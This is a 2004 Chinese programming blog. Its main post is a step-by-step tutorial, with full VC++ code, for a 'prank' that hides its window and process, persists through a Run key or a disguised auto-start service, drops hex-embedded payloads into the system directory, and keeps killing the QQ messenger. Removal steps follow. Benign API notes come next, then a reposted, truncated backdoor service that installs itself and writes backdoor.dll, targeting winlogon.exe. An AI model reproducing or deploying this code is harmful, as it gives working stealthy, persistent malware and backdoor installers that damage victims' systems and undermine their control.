程序原理:获取系统中的所有进程,并保存在一个数组中,然后在数组中查找含有QQ,oicq,qq,OICQ字样的进程,如果找到就立即杀掉该进程.这样你一运行QQ,QQ进程就会被立即杀掉,也就是说如果该恶作剧程序一直运行你就不能上QQ了.呵呵,这招是不是有点毒啊?好了,现在一步一步的来讲程序的编写过程.
首先我们要解决的问题是如何实现恶作剧程序的自我隐藏,关于进程隐藏的文章很多,我就只简单的介绍一下了.在Win9X系统下可以通过调用RegisterServiceProcess API这个API函数将进程注册为一个服务模式的进程,这样在Win9X系统下用Ctrl+Alt+Del调出的任务管理器中将不会出现这个进程了.RegisterServiceProcess API函数存放于系统内核Kernel32.dll中.具体声明如下:
DWORD RegisterServiceProcess(
DWORD dwProcessId, //服务进程的进程标志,如果为NULL表示当前进程
DWORD dwType //如果参数为RSP_SIMPLE_SERVICE 表示注册当前进程
//如果参数为RSP_UNREGISTER_SERVICE 表示取消当前进程的注册
);
函数调用成功返回1,否则返回0
通过对RegisterServiceProcess 这个API函数的调用我们就能实现在Win9X系统下的进程隐藏了.但是要在WinNT系统下真正的实现进程隐藏就没有在Win9X系统下那么简单了.只要进程以进程内核的形式运行,进程就将出现在任务管理器中.要实现WinNT下进程的真正隐藏,只能以非进程的方式执行目标代码,也就是说把目标代码以线程的方式远程注册到宿主进程中.关于这种方法的实现已经有文章介绍,在这里就不多说了.在这里,我并没有采用这种隐藏进程的方法而是将进程注册为系统的一个名为Service的服务进程,虽然这样并没有真正的隐藏进程,但是在一般情况下还是不容易发现的.在Win2000下用任务管理器查看进程时是不能结束该进程的,必须通过控制面板中的服务管理控制台来停止服务,也可以在命令行下用net stop service来停止服务在XP下可以通过任务管理器结束该进程.这里简单介绍一下WinNT中的服务程序:
在WinNT中,一些后台服务程序是随着系统的启动而自动加载的.用户也可以通过控制面板中的服务管理控制台对服务的属性进行灵活的设置.甚至在用户没有登陆的情况下这些服务程序也能启动,象Ftp服务,WWW服务和一些数据库就是以服务的形式存在于NT服务器上从而实现了无人职守. 在NT操作系统中,所有的后台服务全都由服务控制管理器进行统一管理,这些后台服务的状态数据都保存在服务控制管理器数据库中.所以要想创建一个新的后台服务,在应用程序的主模块里应首先调用函数OpenSCManager打开该数据库,再调用函数CreateService在此数据库中创建1个新的服务线程对象,并将该线程对象启动属性设置为随系统启动自动加载,这样NT在重新启动时该线程就会由NT自动启动.完成这一步,仅仅实现了后台服务线程对象的注册,还没有建立与服务控制管理器的联结.要想启动服务可以通过函数StartService来完成,具体的过程我们将在编写Service.exe的时候介绍.
说了这么多,你也许都看得不耐烦了吧,OK,现在正式切入主题,开始动手打造我们的QQ恶作剧程序.程序由三部分组成,主程序funny.exe,kernel.exe,Service.exe.首先我们先把kernel.exe和Service.exe程序写好,这两个是完成主要功能的程序.然后将其转换成16进制代码放在在funny.exe定义的两个全局字符数组中,当funny.exe运行的时候根据操作系统的版本决定在系统目录下创建kernel.exe还是Service.exe.kernel.exe将被创建到Win9X的系统目录下,Service.exe将被创建到Win2000/XP的系统目录下.
现在我们开始来编写kernel.exe:
打开VC++6.0(啊?不要告诉我你电脑上没有装吧,那赶紧去装一个,不然你怎么写程序呢?呵呵)
运行AppWizard创建一个对话框应用程序.工程名为kernel.在CKernelDlg类中添加HideWindow(),HideProcess(),
Reg()三个函数.代码如下:
//隐藏对话框窗体
void CKernelDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//将进程注册为服务模式的进程从而隐藏自身
void CKernelDlg::HideProcess()
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)
GetProcAddress(hDLL,"RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
FreeLibrary(hDLL);
}
//修改注册表,开机时自动运行
void CKernelDlg::Reg()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"//kernel.exe");
DWORD dwvalue;
CRegKey Key;
LPCTSTR lpszKeyname="Software//Microsoft//Windows//CurrentVersion//Run";
if(Key.Open(HKEY_LOCAL_MACHINE,lpszKeyname)==ERROR_SUCCESS)
if( Key.Queryvalue(dwvalue,"Kernel")!=ERROR_SUCCESS)
Key.Setvalue(lpsysfilename,"Kernel");
Key.Close();
}
这里用到了CRegKey类,需要在KernelDlg.cpp中添加头文件atlbase.h关于CRegKey的详细用法可以参考MSDN帮助文档.然后利用类向导添加WM_TIMER消息,并在消息响应函数中加入以下代码:
void CKernelDlg::OnTimer(UINT nIDEvent)
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
//枚举系统中的所有进程并保存在数组类对象m_PEArray中
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));
}
int i;
//在保存进程的数组中查找是否含有QQ,OICQ,qq,oicq字样的进程找到立即将其结束
for(i=0;i
CString str;
str.Format("%s",m_PEArray.szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray.th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}
CDialog::OnTimer(nIDEvent);
}
其中m_PEArray的定义如下:CArray
BOOL CKernelDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隐藏对话框窗口
HideProcess(); //Win9x下在任务管理器中隐藏进程
Reg(); //改写注册表,开机自动运行
SetTimer(1,500,NULL); //设定记时器,不断刷新进程数组,并寻找QQ程将其结束
return TRUE;
}
这样kernel.exe程序就完成了,现在可以编译连接成可执行文件了.(后附工程文件).
编写Service.exe:
创建一个名为Service的Win32 Console Application程序,选择对MFC的支持Service.cpp的代码如下:
/******************************************************************/
/*Module:Service.cpp */
/*Author:Inetufo */
/*Email:[email protected] */
/*Date:2003/3/7 */
/******************************************************************/
// Service.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "Service.h"
#include "winsvc.h"
#include
#include
#include
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/
// The one and only application object
CWinApp theApp;
using namespace std;
SERVICE_STATUS_HANDLE ssh;
SC_HANDLE scm,svc;
SERVICE_STATUS ss;
CArray
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
void InstallService();
UINT KillQQ(LPVOID lpvoid);
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
SERVICE_TABLE_ENTRY ste[2];
//线程入口表
ste[0].lpServiceName="Service"; //线程名字
ste[0].lpServiceProc=ServiceMain; //线程入口地址
//可以有多个线程,最后一个必须为NULL
ste[1].lpServiceName=NULL;
ste[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ste);
InstallService();
}
return nRetCode;
}
//安装并启动服务
void InstallService()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"//Service.exe");
scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(scm!=NULL)
svc=CreateService(scm,"Service","Service",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS│SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,lpsysfilename,NULL,NULL,NULL,NULL,NULL);
if(svc!=NULL)
svc=OpenService(scm,"Service",SERVICE_START);
if (svc!=NULL)
{
StartService(svc,0,NULL);
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
}
//服务的真正入口点函数
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
ss.dwServiceType = SERVICE_WIN32;
ss.dwCurrentState = SERVICE_START_PENDING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE;
ss.dwServiceSpecificExitCode = 0;
ss.dwWin32ExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
ssh=RegisterServiceCtrlHandler("Service",Handler);
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);
AfxBeginThread(KillQQ,NULL,NULL); //开始一个工作线程实现程序功能
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);
}
//处理服务要求
void WINAPI Handler(DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_STOP:
ss.dwCurrentState =SERVICE_STOPPED;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_CONTINUE:
ss.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_PAUSE:
ss.dwCurrentState = SERVICE_PAUSED;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_INTERROGATE:
break;
}
SetServiceStatus (ssh,&ss);
}
//在进程列表中查找QQ程序并杀掉的线程函数
UINT KillQQ(LPVOID lParam)
{
while(1)
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));
}
int i;
for(i=0;i
CString str;
str.Format("%s",m_PEArray.szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray.th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}
Sleep(500);
}
return 0;
}
编译连接可以生成Service.exe程序.(后附整个工程)
现在我们已经得到了实现功能的两个程序,kernel.exe是在Win9X系统下实现功能的程序,Service.exe是Win2000/XP下实现功能的程序.现在就要将这两个文件转化成16进制代码.可以通过一个程序来实现,建立一个名为exe2hex的Win32 Console Application程序,程序代码如下:
#include
#include
int main(int argc,char **argv)
{
HANDLE hFile;
DWORD dwSize,dwRead,dwIndex=0,i;
unsigned char *lpBuff=NULL;
__try
{
if(argc!=2)
{
printf("/nUsage: %s
__leave;
}
hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
{
printf("/nOpen file %s failed:%d",argv[1],GetLastError());
__leave;
}
dwSize=GetFileSize(hFile,NULL);
if(dwSize==INVALID_FILE_SIZE)
{
printf("/nGet file size failed:%d",GetLastError());
__leave;
}
lpBuff=(unsigned char *)malloc(dwSize);
if(!lpBuff)
{
printf("/nmalloc failed:%d",GetLastError());
__leave;
}
while(dwSize>dwIndex)
{
if(!ReadFile(hFile,&lpBuff[dwIndex],dwSize-dwIndex,&dwRead,NULL))
{
printf("/nRead file failed:%d",GetLastError());
__leave;
}
dwIndex+=dwRead;
}
for(i=0;i
if((i%16)==0)
if(i==0)
printf("/"");
else
printf("/"/n/"");
printf("//x%.2X",lpBuff);
}
printf("/"");
}//end of try
__finally
{
if(lpBuff) free(lpBuff);
CloseHandle(hFile);
}
return 0;
}
编译出可执行文件exe2hex.exe,执行exe2hex kernel.exe >kernel.txt将输出结果重定向到一个文本文件就得到了kernel.exe的16进制代码,同理可以得到Service.exe的16进制代码.
啊,写了这么多还真有点累了,不过还好总算要完成了,歇口气.最后我们来编写主程序funny.exe:
用AppWizard生成一个名为funny的对话框程序.定义两个全局字符数组用来保存kernel.exe和Service.exe
的16进制代码:char exebuff9x[]="kernel.exe的16进制代码" char exebuff2k[]="Service.exe的16进制代码".添加HideWindow(),IsWin9X(),CreateFileService9x(CString FileName),CreateFileService2k
(CString FileName),RunService(CString FileName)几个函数,其代码和实现的功能如下:
//隐藏主窗口
void CFunnyDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style);
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//获取操作系统版本信息
BOOL CFunnyDlg::IsWin9X()
{
DWORD dwVersion;
dwVersion=::GetVersion();
if (dwVersion >= 0x80000000) //Win9x
return TRUE;
else
return FALSE; //Win2K/WinXP
}
//如果系统是Win9x则在系统目录下创建kernel.exe
void CFunnyDlg::CreateFileService9x(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff9x);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
return
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff9x[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return
}
//如果系统是Win2k/XP则在系统目录下创建Service.exe
void CFunnyDlg::CreateFileService2k(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff2k);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
return
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff2k[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return
}
//运行创建的kernel.exe或者Service.exe
void CFunnyDlg::RunService(CString FileName)
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW;
BOOL bRet=::CreateProcess(lpsysfilename,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
return
}
在对话框的初始化函数里面调用上面定义的函数,其主要代码如下:
BOOL CFunnyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隐藏对话框窗口
CString FileName="//kernel.exe";
if(IsWin9X()) //判断操作系统类型
{
CreateFileService9x(FileName); //在系统目录下创建kernel.exe
RunService(FileName); //运行kernel.exe
}
else
{
FileName="//Service.exe";
CreateFileService2k(FileName); //在系统目录下创建Service.exe文件
RunService(FileName); //运行Service.exe
}
AfxBeginThread(ThreadMessage,NULL,NULL); //执行线程函数ThreadMessage
return TRUE;
}
好了,funny程序也完成了,现在可以编译连接成可执行程序了,整个程序就算写完了,你可以测试一下了以上代码在Win98,Win2000,WinXp,VC++6.0环境下调试通过.(附整个工程文件).写了这么多快要累死了.如果有什么问题请来信[email protected],欢迎指教J
解决方法:
WIN98:
系统目录下将生成kernel.exe文件,可以先将注册表项HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/
Windows/CurrentVersions/Run下面的kernel子键删除.重起系统再删除系统目录下的kernel.exe文件
Win2K/XP:
运行服务控制管理器,停止掉Service服务,然后将系统目录下的Service.exe文件删除,要把服务从服务管理器中清除可以将HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services下面的Service键删除即可.
- 作者: hzl96 2004年11月23日, 星期二 14:48 回复(4) | 引用(0) 加入博采
在VC中,大多数情况对文件的操作都使用系统提供的 API 函数,但有的函数我们不是很熟悉,以下提供一些文件操作 API 函数介绍:
一般文件操作 API
CreateFile
打开文件
要对文件进行读写等操作,首先必须获得文件句柄,通过该函数可以获得文件句柄,该函数是通向文件世界的大门。
ReadFile
从文件中读取字节信息。
在打开文件获得了文件句柄之后,则可以通过该函数读取数据。
WriteFile
向文件写入字节信息。
同样可以将文件句柄传给该函数,从而实现对文件数据的写入。
CloseHandle
关闭文件句柄。
打开门之后,自然要记得关上。
GetFileTime
获取文件时间。
有三个文件时间可供获取:创建时间、最后访问时间、最后写时间。
该函数同样需要文件句柄作为入口参数。
GetFileSize
获取文件大小。
由于文件大小可以高达上数G(1G需要30位),因此一个32位的双字节类型无法对其精确表达,因此返回码表示低32位,还有一个出口参数可以传出高32位。
该函数同样需要文件句柄作为入口参数。
GetFileAttributes
获取文件属性。
可以获取文件的存档、只读、系统、隐藏等属性。
该函数只需一个文件路径作为参数。
SetFileAttributes
设置文件属性。
能获取,自然也应该能设置。
可以设置文件的存档、只读、系统、隐藏等属性。
该函数只需一个文件路径作为参数。
GetFileInformationByHandle
获取所有文件信息
该函数能够获取上面所有函数所能够获取的信息,如大小、属性等,同时还包括一些其他地方无法获取的信息,比如:文件卷标、索引和链接信息。
该函数需要文件句柄作为入口参数。
GetFullPathName
获取文件路径,该函数获取文件的完整路径名。
需要提醒的是:只有当该文件在当前目录下,结果才正确。如果要得到真正的路径。应该用GetModuleFileName函数。
CopyFile
复制文件
注意:只能复制文件,而不能复制目录
MoveFileEx
移动文件
既可以移动文件,也可以移动目录,但不能跨越盘符。(Window2000下设置移动标志可以实现跨越盘符操作)
DeleteFile
删除文件
GetTempPath
获取Windows临时目录路径
GetTempFileName
在Windows临时目录路径下创建一个唯一的临时文件
SetFilePoint
移动文件指针。
该函数用于对文件进行高级读写操作时。
文件的锁定和解锁
LockFile
UnlockFile
LockFileEx
UnlockFileEx
以上四个函数用于对文件进行锁定和解锁。这样可以实现文件的异步操作。可同时对文件的不同部分进行各自的操作。
文件的压缩和解压缩
LZOpenFile
打开压缩文件以读取
LZSeek
查找压缩文件中的一个位置
LZRead
读一个压缩文件
LZClose
关闭一个压缩文件
LZCopy
复制压缩文件并在处理过程中展开
GetExpandedName
从压缩文件中返回文件名称。
以上六个函数为32位 API 中的一个小扩展库,文件压缩扩展库中的函数。文件压缩可以用命令 compress 创建。
文件内核对象
32位 API 提供一个称为文件映像的特性,它允许将文件直接映射为一个应用的虚拟内存空间,这一技术可用于简化和加速文件访问。
CreateFileMapping
创建和命名映射
MapViewOfFile
把文件映射装载如内存
UnmapViewOfFile
释放视图并把变化写回文件
FlushViewOfFile
将视图的变化刷新写入磁盘
希望通过以上几个常用的 API 函数,能快速的提高文件操作过程函数的编写。
- 作者: hzl96 2004年11月23日, 星期二 14:46 回复(0) | 引用(0) 加入博采
如何在对话框中从磁盘读出一个bitmap文件画在上面?
BOOL CAboutDlg::OnInitDialog()
{
CDialog::OnInitDialog();
HBITMAP m_hBmp = (HBITMAP)::LoadImage(0,
"D:bitmap.bmp",
IMAGE_BITMAP,
0,
0,
LR_LOADFROMFILE | LR_CREATEDIBSECTION | LR_DEFAULTSIZE);
_ASSERT(m_hBmp!=NULL);
m_pBmp = CBitmap::FromHandle(m_hBmp);
return TRUE;
}
void CAboutDlg::OnPaint()
{
CPaintDC dc(this);
BITMAP bm;
CDC dcMem;
VERIFY(m_pBmp->GetObject(sizeof(bm),(LPVOID)&bm));
dcMem.CreateCompatibleDC(&dc);
CBitmap *pOldBMP=(CBitmap *)dcMem.SelectObject(m_pBmp);
BitBlt(dc.m_hDC,0, 0, bm.bmWidth, bm.bmHeight, dcMem.m_hDC, 0, 0, SRCCOPY);
dcMem.SelectObject(pOldBMP);
// Do not call CDialog::OnPaint() for painting messages
}
- 作者: hzl96 2004年11月17日, 星期三 13:07 回复(0) | 引用(0) 加入博采
金山词霸、网络蚂蚁等软件安装后会向IE的工具条添加自己的按钮。按下按钮后还会作出相应的动作,这种功能是如何实现的呢?读完本文,您也可以将自己应用程序的按钮添加到IE的工具条中。
基本原理:
从IE5开始便允许我们向工具栏添加自己的按钮,其本质就是修改注册表,添加创建此按钮所需的信息。
问题提出:
金山词霸、网络蚂蚁等软件安装后会向IE的工具条添加自己的按钮。按下按钮后还会作出相应的动作,这种功能是如何实现的呢?读完本文,您也可以将自己应用程序的按钮添加到IE的工具条中。
基本原理:
从IE5开始便允许我们向工具栏添加自己的按钮,其本质就是修改注册表,添加创建此按钮所需的信息。
实现步骤:
1.创建此按钮的GUID(globally unique identifier)
你可以通过Visual Studio中的Guidgen.exe来产生GUID。
例如我生成的GUID是{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}
以下的例子中我都使用这个GUID来作说明。
2.创建子键HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer/Extensions/{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}
3.在此子键下创建如下字串值。
(1)CLSID
这是IE的CLSID,其值必须为{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}
(2)Default Visible
指明此按钮默认状态下是否可见,Yes表示可见,No为不可见
(3)ButtonText
按钮文字
(4)Icon
默认状态下的图标全路径,例如c:/vckbase.ico。也可以是EXE文件中包含的图标,例如:C:/PROGRA~1/NETANTS/NetAnts.exe,1000
(5)HotIcon
鼠标移到按钮上时的图标全路径
如下子键为按下按钮后需要执行的相应动作:可以是COM对象、浏览条Explorer Bar、脚本Script、可执行文件。
下面我们逐个进行介绍。
①COM对象
你需要建立名为ClsidExtension的字串值,其值应该为此COM对象的GUID
例如金山词霸就使用ClsidExtension来调用自己的COM对象。
②浏览条Explorer Bar
所谓浏览条就是类似我们按下往IE历史按钮后打开的历史记录列表,其本质好比MFC中的CReBar对象。 浏览条也可以自己制作,
因为超出了本文的范围,暂不作讲解。
为了在按下按钮后打开一个浏览条,你需要建立名为BandCLSID的字串值,其值为浏览条的CLSID
③脚本Script
按下按钮后执行的脚本,例如:"%SystemRoot%/web/related.htm"
你可以在这个HTML文件里面加上脚本来得到IE当前的许多信息,需要注意的是假如你想通过Script打开非脚本的HTML文件是不可行的。
请参考如下NetAnts取得当前页所有链接的脚本代码
我们再看一个比较有用的脚本,这段脚本的作用是得到当前地址,并打开此网址的首页。
关于external等对象的具体使用方法请参阅微软的《动态HTML开发参考大全》--人民邮电出版社出版
④可执行文件
假如我们想让IE在按下按钮后执行一个可执行文件, 你可以增加名为Exec的字串值,其值为此可执行文件的全路径,
例如c:/windows/notepad.exe或者是一个网址http://www.vckbase.com/index.html
下面我们介绍一个简单的例子。
void CIEButtonDlg::OnAdd()
{
--///这是由GUIDGEN产生的GUID:{06926B30-424E-4f1c-8EE3-543CD96573DC}
--CRegKey reg;
--char KeyName[]="Software//Microsoft//Internet Explorer//Extensions//{06926B30-424E-4f1c-8EE3-543CD96573DC}";
--TCHAR PathName[MAX_PATH];
--TCHAR IconPathName[MAX_PATH]; ///正常时的图标全路径
--TCHAR HotIconPathName[MAX_PATH]; ///鼠标覆盖时的图标全路径
--GetModuleFileName(0,PathName,MAX_PATH); ///得到本可执行文件的路径
--strcpy(IconPathName,PathName);
--strcpy(HotIconPathName,PathName);
--strcat(HotIconPathName,",131"); ///131是图标的ID,你可以以资源方式打开EXE文件就可以看到所有资源及其ID
--strcat(IconPathName,",129");
--reg.Create(HKEY_LOCAL_MACHINE,KeyName);
--reg.SetValue("{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}","CLSID");
--reg.SetValue("Yes","Default Visible");
--reg.SetValue("VC知识库","ButtonText");
--reg.SetValue(IconPathName,"Icon");
--reg.SetValue(HotIconPathName,"HotIcon");
--/假如是执行脚本,可以是reg.SetValue("c://test.html","Script"); ///在test.html 存放你的脚本代码
--reg.SetValue("http://www.vckbase.com/","Exec");///打开网页
}
- 作者: hzl96 2004年11月17日, 星期三 13:06 回复(0) | 引用(0) 加入博采
钩子的种类有很多,从前面给出的鼠标钩子和键盘钩子也可以看出其编写过程是非常类似的。通常情况下作为钩子载体的动态链接库要提供有两个必要的输出函数——钩子安装函数和钩子卸载函数。在钩子安装函数中通过SetWindowsHookEx()为不同类型的钩子设置相应的钩子函数,实质性的工作也主要是在钩子函数中完成的,具体情况应视钩子的类型和要完成的功能而定。在钩子卸载函数中则主要是对UnhookWindowsHookEx()的调用,并辅以必要的保护性代码。
- 作者: hzl96 2004年11月16日, 星期二 15:40 回复(1) | 引用(0) 加入博采
贴点别人的源码,不错的!有详细的注释
代码不全,这是涉及主要的部分!
里面有涉及普通常用且又重要的编程思路,所以贴出来啦!
自己是菜鸟,自己不懂藏着也没用,希望对你有用哦
/*---------------------------------------------------------------------
//mysvr.c
//Coder: sjdf
//E-mail: [email protected]
//Create date: 2002.8.11
//Last modify date: 2003.10.28
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
//Header
#include "bkdlldata.h"
#include
#include
#include
#include
#include
//---------------------------------------------------------------------
//Global constant
char SERVICENAME[9] = "windhole";
const char DISPLAYNAME[33] = "Windhole Backdoor Service";
const char SRVFILENAME[13] = "windhole.exe";
const char BDRFILENAME[13] = "backdoor.dll";
const char DESTPROC[19] = "winlogon.exe";
//---------------------------------------------------------------------
//Glabal variable
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
int WillStop = 0;
//---------------------------------------------------------------------
//Function declaration
int AddPrivilege(const char *Name);
void MyServiceStart (int argc, char *argv[]);
void MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
DWORD ProcessToPID(const char *InputProcessName);
//---------------------------------------------------------------------
//Function definition
int main(int argc,char *argv[])
{
//
if ((argc >= 2) && (!lstrcmp(argv[1],"-service")))
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
{NULL, NULL}
};
if (!StartServiceCtrlDispatcher( DispatchTable))
{
return 1;
}
return 0;
}
//否则就自动安装服务
//复制自身到系统目录
char DestName[MAX_PATH + 1];
char NowName[MAX_PATH + 1];
ZeroMemory(DestName,MAX_PATH + 1);
ZeroMemory(NowName,MAX_PATH + 1);
if (!GetSystemDirectory(DestName,MAX_PATH))
{
printf("GetSystemDirectory() error = %d/nInstall failure!/n",GetLastError());
return 1;
}
lstrcat(DestName,"//");
lstrcat(DestName,SRVFILENAME);
if (!GetModuleFileName(NULL,NowName,MAX_PATH))
{
printf("GetModuleFileName() error = %d/nInstall failure!/n",GetLastError());
return 1;
}
if (!CopyFile(NowName,DestName,0))
{
printf("CopyFile() error = %d/nInstall failure!/n",GetLastError());
return 1;
}
//安装服务
SC_HANDLE newService, scm;
//连接SCM
if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
{
printf("OpenSCManager() error = %d/nInstall failure!/n",GetLastError());
return 1;
}
//当作为服务启动时加上"-service"参数
lstrcat(DestName," -service");
if (!(newService = CreateService(scm,
SERVICENAME,
DISPLAYNAME,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
DestName,
NULL, NULL, NULL, NULL, NULL)))
{
printf("CreateService() error = %d/nInstall failure!/n",GetLastError());
}
else
{
printf("Install success!/n");
char *pra[] = {"-service", "/0"};
if (!StartService(newService,1,(const char **)pra))
{
printf("StartService() error = %d/nStart service failure!/n",GetLastError());
}
else
{
printf("Start service Success!/n");
}
}
CloseServiceHandle(newService);
CloseServiceHandle(scm);
return 0;
}
//---------------------------------------------------------------------
DWORD MyWorkThread(void)
{
Sleep(4000);
FILE *fp;
if ((fp = fopen(BDRFILENAME,"wb")) == NULL)
{
WillStop = 1;
return 1;
}
fwrite(data1,sizeof(data1),1,fp);
fwrite(data2,sizeof(data2),1,fp);
fwrite(data3,sizeof(data3),1,fp);
fwrite(data4,sizeof(data4),1,fp);
fwrite(data5,sizeof(data5),1,fp);
